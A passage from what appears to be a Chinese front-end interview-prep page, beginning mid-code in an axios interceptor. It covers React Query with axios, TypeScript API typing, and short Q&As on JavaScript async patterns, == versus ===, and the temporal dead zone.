Error(message)); } return data; }, (error) => { // 网络错误 / 服务器错误 if (!error.response) { showToast('网络异常,请检查网络连接'); } else if (error.response.status >= 500) { showToast('服务器繁忙,请稍后重试'); } return Promise.reject(error); });业务错误(如"余额不足")和网络错误(如断网、500)应该用不同策略处理:前者通常只需提示用户,后者可能需要重试或降级。五、React Query + axios:生产级方案手动管理请求状态、缓存、重试、乐观更新,代码量会急剧膨胀。React Query 把这些能力内置了,只需要提供 axios 请求函数即可。import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query';import { postApi } from '@/services/post';// 查询:自动缓存 + 后台刷新 + 请求去重function usePostList(params) { return useQuery({ queryKey: ['posts', params], queryFn: () => postApi.getList(params), staleTime: 5 * 60 * 1000, });}// 变更:自动失效缓存function useCreatePost() { const queryClient = useQueryClient(); return useMutation({ mutationFn: postApi.create, onSuccess: () => { queryClient.invalidateQueries({ queryKey: ['posts'] }); }, });}React Query 配合 axios 的核心优势:多个组件请求同一接口时只发一次请求(请求去重);窗口重新获得焦点时自动后台刷新数据;mutation 成功后自动让相关缓存失效,无需手动刷新。TypeScript 类型安全在 TypeScript 项目中,给 axios 请求加上类型约束,能在编译期捕获参数和返回值类型错误。// types/api.tsinterface UserProfile { id: number; name: string; email: string;}interface ApiResponse<T> { code: number; data: T; message: string;}// services/user.tsexport const userApi = { getProfile: () => request.get<ApiResponse<UserProfile>>('/user/profile'),};组件中 useQuery 配合类型推导,data 自动获得 UserProfile 类型,不再需要手动断言。面试中回答 axios 相关问题时,先讲封装思路(实例、拦截器、模块拆分),再讲 React 集成要点(AbortController 防内存泄漏和竞态),最后提 React Query 的缓存和重试机制,这条线能把问题讲透。
前端阅读 185月27日 01:17

JavaScript 异步解决方案的发展历程及优缺点

JS 异步方案演进:Callback(回调):异步操作完成时调用。缺点:回调地狱(嵌套超过 3 层就难读)、错误处理分散、流程控制难(并行/串行需要自己写计数器)Promise(ES6):链式调用可读性提升,.catch() 统一错误处理,Promise.all/race 等内置并行控制。缺点:长链仍不好读,一旦进入 .then() 链中间没法跳出(无法取消)Generator + co(ES6):yield 暂停执行,配合自动执行器实现"看起来同步"的代码。缺点:需要额外库(co),需要理解 Generator 概念,心智负担高async/await(ES8):Promise + Generator 的语法精华。写法像同步,错误处理用 try-catch,分支和循环直接写。缺点:滥用串行 await 破坏并发性能(两个无关请求应放 Promise.all)追问什么时候不推荐用 async/await?简单场景(单次 .then().catch() 比 async 包装更简洁)需要并发时(多个 await 写在一起是串行的)顶层模块代码中(ES6 模块顶层已有 await,但 CJS 不支持)数组方法中(.map(async fn) 返回 Promise 数组,需要再 Promise.all)Promise 可以取消吗?原生 Promise 不支持取消。但有 AbortController 变通方案:fetch 传入 signal,abort 时 fetch 抛 AbortError,.then() 不会执行。真正意义的 Promise 取消需要第三方库(如 bluebird)或用 RxJS 的 Subscription。
前端阅读 485月27日 01:17

== 和 === 的区别是什么?什么情况下用 == 相等?

=== 是严格相等:类型不同直接 false,类型相同才比较值。== 是宽松相等:类型不同时做类型转换(强制类型转换),然后再比较。大多数场景用 ===。但 == 也有实际用途:if (x == null) —— 等价于 x === null || x === undefined,很简洁你明确知道两端类型相同时(和 === 没区别)处理字符串和数字比较时('5' == 5 是 true),比如从 input 里读出来的值// == 的经典坑'' == 0; // true[] == 0; // true[] == ''; // true[] == ![]; // true (?!)null == undefined; // trueNaN == NaN; // false (即使 === 也是 false)追问Object.is 和 === 有什么区别?两个不同:Object.is(NaN, NaN) 是 true(=== 是 false),Object.is(0, -0) 是 false(=== 是 true)。其他行为和 === 完全一致。if (x == null) 比 if (x === null || x === undefined) 有什么风险吗?几乎没有。== null 只在值为 null 或 undefined 时为 true,对 0、''、false 都是 false。这是 == 唯一一个业界认可的"干净"用法。
前端阅读 255月27日 01:17

JavaScript 的暂时性死区是什么?

暂时性死区(TDZ)是 let 和 const 的特性:从块级作用域开始到变量被声明为止,这个区间内访问变量会抛 ReferenceError。console.log(x); // undefined — var 提升但不报错var x = 1;console.log(y); // ReferenceError — let 有 TDZlet y = 2;let/const 确实有变量提升(引擎知道这个变量存在于作用域中),但在声明语句之前,这个绑定处于"未初始化"状态——这就是 TDZ。var 提升后直接被初始化为 undefined,所以能用。TDZ 的意义:帮你发现"在声明前就使用变量"的错误——这种 bug 用 var 时会被悄悄忽略。追问typeof 在 TDZ 中也会报错吗?会。typeof x 在 x 的 TDZ 中直接 ReferenceError。这是 typeof 唯一不安全的场景——通常 typeof 未声明变量 返回 "undefined" 不会报错,但 TDZ 是"已声明但未初始化",typeof 也会报错。TDZ 对函数参数的默认值有影响吗?有。参数默认值中引用的后面的参数,会遇到 TDZ:function fn(a = b, b = 1) {} // a 的默认值引用 b 时,b 还在 TDZ 中fn(); // ReferenceError